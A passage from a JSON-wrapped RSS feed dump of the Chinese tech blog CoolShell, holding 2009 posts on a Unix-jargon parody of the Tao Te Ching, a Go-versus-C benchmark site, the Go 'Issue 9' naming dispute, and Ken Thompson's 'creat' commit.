src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<p style=\"text-align: left;\"><strong>主页：</strong><a href=\"http://mercury.ccil.org/~cowan/upc/\"><strong>http://mercury.ccil.org/~cowan/upc/</strong></a></p>\n<p style=\"text-align: left;\">这是一个人主页，博主说，这是一个“黑客式”版本的 <cite><a href=\"http://www.google.com/search?q=%22Tao+Te+Ching%22\">Dao De Ching</a></cite> (字面理解是&#8221;way power classic&#8221;，道路权力名著).他并对中文其实并不懂。他只是为Jonathan Star的 <a href=\"http://www.amazon.com/exec/obidos/ASIN/1585420999\">逐字翻译</a> 而工作，其使用了在线的中文一个词典 <a href=\"http://zhongwen.com/dao.htm\"><em>zhongwen.com</em></a>对《道德经》一字一字地翻译。</p>\n<p style=\"text-align: left;\">他对《道德经》并不是很懂，除了知道那是中文，而且知道这是一个相当老的，而且，2500年前的那些是非常喜欢的一个作品，正如 <a href=\"http://www.ursulakleguin.com/\">Ursula K. LeGuin</a> 在 <a href=\"http://www.amazon.com/exec/obidos/ASIN/1570623953\">她的版本</a>中所说的一样。作者说《道德经》是对道德，政治和宗教信仰做了很多的解释。到了今天，还有人在读这本书，说明了这本书的不朽，美妙和意味深长。</p>\n<p style=\"text-align: left;\">下面是《道德经》的 81 个章节 ，作者并没有完全写完（或者说是hack完），你可以点击链接查看其中的内容。</p>\n<p style=\"text-align: center;\"><a href=\"http://mercury.ccil.org/~cowan/upc/01.txt\">01</a> 02 03 <a href=\"http://mercury.ccil.org/~cowan/upc/04.txt\">04</a> 05 06 <a href=\"http://mercury.ccil.org/~cowan/upc/07.txt\">07</a> <a href=\"http://mercury.ccil.org/~cowan/upc/08.txt\">08</a> <a href=\"http://mercury.ccil.org/~cowan/upc/09.txt\">09</a><br />\n10 11 12 13 14 <a href=\"http://mercury.ccil.org/~cowan/upc/15.txt\">15</a> 16 <a href=\"http://mercury.ccil.org/~cowan/upc/17.txt\">17</a> <a href=\"http://mercury.ccil.org/~cowan/upc/18.txt\">18</a><br />\n19 20 <a href=\"http://mercury.ccil.org/~cowan/upc/21.txt\">21</a> 22 <a href=\"http://mercury.ccil.org/~cowan/upc/23.txt\">23</a> 24 25 26 27<br />\n<a href=\"http://mercury.ccil.org/~cowan/upc/28.txt\">28</a> 29 30 31 32 33 <a href=\"http://mercury.ccil.org/~cowan/upc/34.txt\">34</a> 35 36<br />\n37 38 <a href=\"http://mercury.ccil.org/~cowan/upc/39.txt\">39</a> <a href=\"http://mercury.ccil.org/~cowan/upc/40.txt\">40</a> <a href=\"http://mercury.ccil.org/~cowan/upc/41.txt\">41</a> <a href=\"http://mercury.ccil.org/~cowan/upc/42.txt\">42</a> <a href=\"http://mercury.ccil.org/~cowan/upc/43.txt\">43</a> 44 45<br />\n46 47 <a href=\"http://mercury.ccil.org/~cowan/upc/48.txt\">48</a> 49 50 51 52 <a href=\"http://mercury.ccil.org/~cowan/upc/53.txt\">53</a> 54<br />\n55 56 <a href=\"http://mercury.ccil.org/~cowan/upc/57.txt\">57</a> 58 59 <a href=\"http://mercury.ccil.org/~cowan/upc/60.txt\">60</a> 61 62 <a href=\"http://mercury.ccil.org/~cowan/upc/63.txt\">63</a><br />\n64 <a href=\"http://mercury.ccil.org/~cowan/upc/65.txt\">65</a> 66 <a href=\"http://mercury.ccil.org/~cowan/upc/67.txt\">67</a> <a href=\"http://mercury.ccil.org/~cowan/upc/68.txt\">68</a> 69 70 <a href=\"http://mercury.ccil.org/~cowan/upc/71.txt\">71</a> <a href=\"http://mercury.ccil.org/~cowan/upc/72.txt\">72</a><br />\n73 74 75 76 77 78 <a href=\"http://mercury.ccil.org/~cowan/upc/79.txt\">79</a> 80 <a href=\"http://mercury.ccil.org/~cowan/upc/81.txt\">81</a></p>\n<p style=\"text-align: left;\">点击第23章，可以看到hack版的充满Unix术语的经文翻译。下面给出原文和转译版的对照。（老实说，翻译的怎是一个强字了得啊）下面给出中英对照版。</p>\n<p><span id=\"more-1794\"></span><br />\n<center></p>\n<table style=\"text-align: center;\" border=\"1\">\n<tbody>\n<tr>\n<td><strong>中文原文</strong></td>\n<td><strong>英文Hack版</strong></td>\n</tr>\n<tr>\n<td>\n<p style=\"text-align: left;\">希言自然。</p>\n<p style=\"text-align: left;\">故飘风不终朝，<br />\n骤雨不终日。<br />\n孰为此者﹖<br />\n天地。</p>\n<p style=\"text-align: left;\">天地尚不能久，<br />\n而况于人乎﹖</p>\n<p>故从事于道者，</p>\n<p style=\"text-align: left;\">道者同于道，<br />\n德者同于德，<br />\n失者同于失。</p>\n<p style=\"text-align: left;\">同于道者，<br />\n道亦乐得之；<br />\n同于德者，<br />\n德亦乐得之；<br />\n同于失者，<br />\n失亦乐得之。</p>\n<p style=\"text-align: left;\">信不足焉，<br />\n有不信焉。</p>\n</td>\n<td>\n<p style=\"text-align: left;\">A few words about the matter:</p>\n<p style=\"text-align: left;\">Flames don&#8217;t outlast the message,<br />\nFlamewars don&#8217;t outlast the thread.<br />\nWhat are the causes of these?<br />\nThe total system.</p>\n<p style=\"text-align: left;\">If the works of the total system<br />\ncan&#8217;t last forever,<br />\nhow much less can anyone else&#8217;s, in fact?</p>\n<p style=\"text-align: left;\">So do business with Unix people.</p>\n<p style=\"text-align: left;\">Unix people are one with Unix,<br />\nPower people are one with Power,<br />\n(Lusers are one with Lossage.)</p>\n<p style=\"text-align: left;\">Being one with Unix people,<br />\nUnix must be happy with them.<br />\nPower too is happy with them.<br />\n(Even being one with lusers counts.)</p>\n<p style=\"text-align: left;\">Trusting&#8217;s not enough, in fact;<br />\nHaving&#8217;s not trusting, either.</p>\n</td>\n</tr>\n</tbody>\n</table>\n<p></center><br />\n我相信这不是恶搞，但面对这样的事情——“老子”，“道德经”，“ Unix”和“英文”的和谐统一体，我无法不服啊。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" alt=\"Unix 50 年：Ken Thompson 的密码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19996.html\" class=\"wp_rp_title\">Unix 50 年：Ken Thompson 的密码</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/figure1-150x150.gif\" alt=\"Unix考古记：一个“遗失”的shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9410.html\" class=\"wp_rp_title\">Unix考古记：一个“遗失”的shell</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1794.html\">超强：Unix道德经(英文版)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1794.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-35.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 35 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=35\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 21 Mar 2014 02:58:37 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>程序语言性能比拼</title>\n\t\t<link>https://coolshell.cn/articles/1788.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1788.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 16 Nov 2009 00:20:17 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[benchmark]]></category>\n\t\t<category><![CDATA[GNU C]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1788</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>  下面这个网页，你可以比较各种程序语言的性能： http://shootout.alioth.debian.org/u64/index.php 这个页面，安装...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1788.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1788.html\">程序语言性能比拼</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\"></a> 下面这个网页，你可以比较各种程序语言的性能：</p>\n<p style=\"text-align: center;\"><a href=\"http://shootout.alioth.debian.org/u64/index.php\">http://shootout.alioth.debian.org/u64/index.php</a></p>\n<p style=\"text-align: left;\">这个页面，安装的是x64 Ubuntu，CPU是Intel® Q6600® 单核。这个网页支持的语言很多，什么C，C++，Java，python，PHP，Erlang，C#，Ruby，……，还有最新的G0语言。</p>\n<p style=\"text-align: left;\">在主页上，你可以选择一个语言。比如，我们选择Google的Go语言——Go 6g8g，然后，点击Show按钮，于是，你会看到下面这个界面：</p>\n<p style=\"TEXT-ALIGN: center\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"go vs gnuc\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\" alt=\"go vs gnuc\" width=\"525\" height=\"404\" /></a> <a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/govsgnuc.jpg\"></a></p>\n<p style=\"text-align: left;\">在这个界面上方，你可以选择两种语言，我们选择的是，上面的是Go 6g8g，而下面是的GNU C，于是下面的图表，是这两个语言各种参数和算法的比较图表。</p>\n<p style=\"text-align: left;\"><span id=\"more-1788\"></span></p>\n<p style=\"text-align: left;\">在这个图表中，其实就是“Go的性能” 除以 “C的性能”，所以，</p>\n<ul>\n<li>\n<div style=\"text-align: left;\">如果柱状图是大于1的（也就是基线以上的）则说明Go的性能不如C。</div>\n</li>\n<li>\n<div style=\"text-align: left;\">如果柱状图小于1的（也就是基线以下的），说明Go的性能超过了C。</div>\n</li>\n</ul>\n<p style=\"text-align: left;\">再往下，是用来做比较的算法的图表，如下所示。在这个表中，我们可以看到很多算法，单击语言的链接，你就可以看到具体的实现源代码了。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\"></a></p>\n<p style=\"text-align: center;\"><a href=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\"><img decoding=\"async\" loading=\"lazy\" title=\"measurements table\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/measurements_table.jpg\" alt=\"measurements table\" width=\"495\" height=\"290\" /></a></p>\n<p style=\"text-align: left;\"> （全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1788.html\">程序语言性能比拼</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1788.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>3</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go语言更名Issue 9？</title>\n\t\t<link>https://coolshell.cn/articles/1781.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1781.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 13 Nov 2009 05:37:11 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Issue 9]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1781</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Go语言出了一个Issue，这个Issue的链接在这里：http://code.google.com/p/go/issues/detail?id=9 ，这个Is...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1781.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1781.html\">Go语言更名Issue 9？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>Go语言出了一个Issue，这个Issue的链接在这里：<a href=\"http://code.google.com/p/go/issues/detail?id=9\">http://code.google.com/p/go/issues/detail?id=9</a> ，这个Issue的编号是9描述是：</p>\n<blockquote><p><span>I have already used the name for *MY* programming language</span></p></blockquote>\n<p>意思是，已经有人使用了这go作为其语言的命名了。报告者叫fmccabe，他说到：</p>\n<blockquote><p><span>我已经从事于我的一个编程语言，而且都10年了。并且都有很多论文发表了。我非常感激你们Google如果把这个名字修改一下，因为我是不会修改我的语言的名字的！</span></p></blockquote>\n<p><span>于是，开始了回贴：</span></p>\n<ul>\n<li>1楼跟贴说，“给个链接看看”</li>\n<li>fmccabe在2楼说：“我出版了本书在lulu.com上”。</li>\n<li>3楼的说，“是的，你的语言叫“Go!”，你的书在：<a href=\"http://www.lulu.com/content/paperback-book/lets-go/641689\">http://www.lulu.com/content/paperback-book/lets-go/641689</a>”</li>\n<li>4楼说：“三楼你是对的，LZ的语言是‘Let&#8217;s Go!’或‘Go!’，Google的叫‘go’，根本就不同啊。”</li>\n<li>LZ不同意在5楼说：“是的，我的语言叫Go!，书名叫：Let&#8217;s Go!。而这里的问题不是Google的go是否会有名，而是公平性。”</li>\n</ul>\n<p><span>好事者从来都不少，后面的贴子可想而知了。众多网友纷纷支持LZ，让Google改名。</span></p>\n<ul>\n<li><span>11楼让LZ找个便宜的律师，还说Google的钱袋很深的。</span></li>\n<li><span>14楼的DailyFinance.com的一个MS记者的人也找上了。</span></li>\n<li><span>17楼建议Google改名Goo 或Foo</span></li>\n</ul>\n<p><span>于是，再往后的回贴，众网友们开始纷纷帮Google的go语言改名：<br />\n<span id=\"more-1781\"></span></span></p>\n<ul>\n<li>25楼说，Goo也被用了。</li>\n<li>28楼说，应该叫GOOP = Google Object Oriented Programming</li>\n<li>29楼说，叫ogle</li>\n<li>30楼说，叫Goat</li>\n<li>31楼说，JAgo: Just Another go （42楼说，Jago也被用了）</li>\n<li>36楼说，go2。并说明，C++也使用了C的名字，用++做了后缀。所以，可以go2</li>\n<li>40楼说，为什么不叫Golang?Erlang &#8211; &#8220;Ericsson Language&#8221;和Golang &#8211; &#8220;Google Language&#8221;，多配啊。</li>\n<li>50楼说，干脆叫“Do”得了。</li>\n<li>53楼说，叫gone也可以啊。</li>\n<li>69楼说，大家别吵了，这是go的第9个issue，叫Issue 9最好。</li>\n</ul>\n<p>后面的网友们纷纷支持Issue 9，<strong>Issue 9</strong>的呼声最高。截止本文发表，大约有710个跟贴，在<a href=\"http://www.reddit.com/r/programming/comments/a351z/oohhhh_snap_i_have_already_used_the_name_go_for/\" target=\"_blank\">reddit.com</a>上也在580多个。网友的力量就是大啊。</p>\n<p>星期五了，耗子祝大家周末快乐！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"Go语言的&#8221;Issue 9&#8243; Closed!\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3156.html\" class=\"wp_rp_title\">Go语言的&#8221;Issue 9&#8243; Closed!</a></li><li ><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" alt=\"Go语言源码的一个改动\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1761.html\" class=\"wp_rp_title\">Go语言源码的一个改动</a></li><li ><a href=\"https://coolshell.cn/articles/1751.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Go 语言：Google 的新编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1751.html\" class=\"wp_rp_title\">Go 语言：Google 的新编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/05/etcd-150x150.png\" alt=\"ETCD的内存问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22242.html\" class=\"wp_rp_title\">ETCD的内存问题</a></li><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1781.html\">Go语言更名Issue 9？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1781.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>37</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go语言源码的一个改动</title>\n\t\t<link>https://coolshell.cn/articles/1761.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1761.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 12 Nov 2009 00:31:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[Ken Thompson]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1761</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>2009年11月11日，光棍节，Google发布了Go语言，马上，就有网友在http://code.google.com/p/go/上找到了一个Go语言包文件操...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1761.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>2009年11月11日，光棍节，<a href=\"https://coolshell.cn/articles/1751.html\" target=\"_blank\">Google发布了Go语言</a>，马上，就有网友在<a href=\"http://code.google.com/p/go/\" target=\"_blank\">http://code.google.com/p/go/</a>上找到了一个Go语言包文件操作源码/src/pkg/os/file.go文件的一个最新改动。这个改动的作者就是那个大名鼎鼎的Unix之父<a href=\"http://en.wikiquote.org/wiki/Kenneth_Thompson\" target=\"_blank\">Ken Thompson</a>（看看人家，都这么老了，还在写程序，佩服佩服，真是顶级程序员啊——《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/343.html\" target=\"_blank\">程序员的八个级别</a>》），而这个改动的<a href=\"http://code.google.com/p/go/source/detail?r=4a3f6bbb5f0c6021279ccb3c23558b3c480d995f\" target=_blank>Log Message</a>如下所示（把屏抓下来，以免以后某日被放到墙外或是google.com数据丢失或是Google公司倒闭）</p>\n<p style=\"text-align: center;\"><span style=\"font-size: large;\">Spell it with an &#8220;e&#8221;<br />\n</span><br />\n<img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-1762\" title=\"spell it with an e\" src=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e.jpg\" border=\"1\" alt=\"spell it with an e\" width=\"474\" height=\"344\" srcset=\"https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e.jpg 474w, https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-300x218.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/11/spell_it_with_e-372x270.jpg 372w\" sizes=\"(max-width: 474px) 100vw, 474px\" /></p>\n<p> </p>\n<p>这是一个很著名的典故，要知道这个典故，你需要知道两件事，一个是Ken Thompson的经典语录，一个是Unix的系统调用。</p>\n<p><span id=\"more-1761\"></span></p>\n<p>关于Ken Thompson的经典语录，你可以在wikipdia上的<a href=\"http://en.wikiquote.org/wiki/Kenneth_Thompson\" target=\"_blank\">Ken Thompson</a>词条中找到，这个事情是这样的。</p>\n<blockquote><p>Ken Thompson was once asked what he would do differently if he were redesigning the UNIX system. His reply: &#8220;<strong>I&#8217;d spell creat with an e.</strong>&#8221; （<span style=\"color: #008000;\">Ken Thompson有一次在被问到——如果他可以重新设计Unix系统，他会做些什么不同的事？而他回答到：“我会把“creat”多拼一个e”</span>）</p></blockquote>\n<p>&#8220;I&#8217;d spell creat 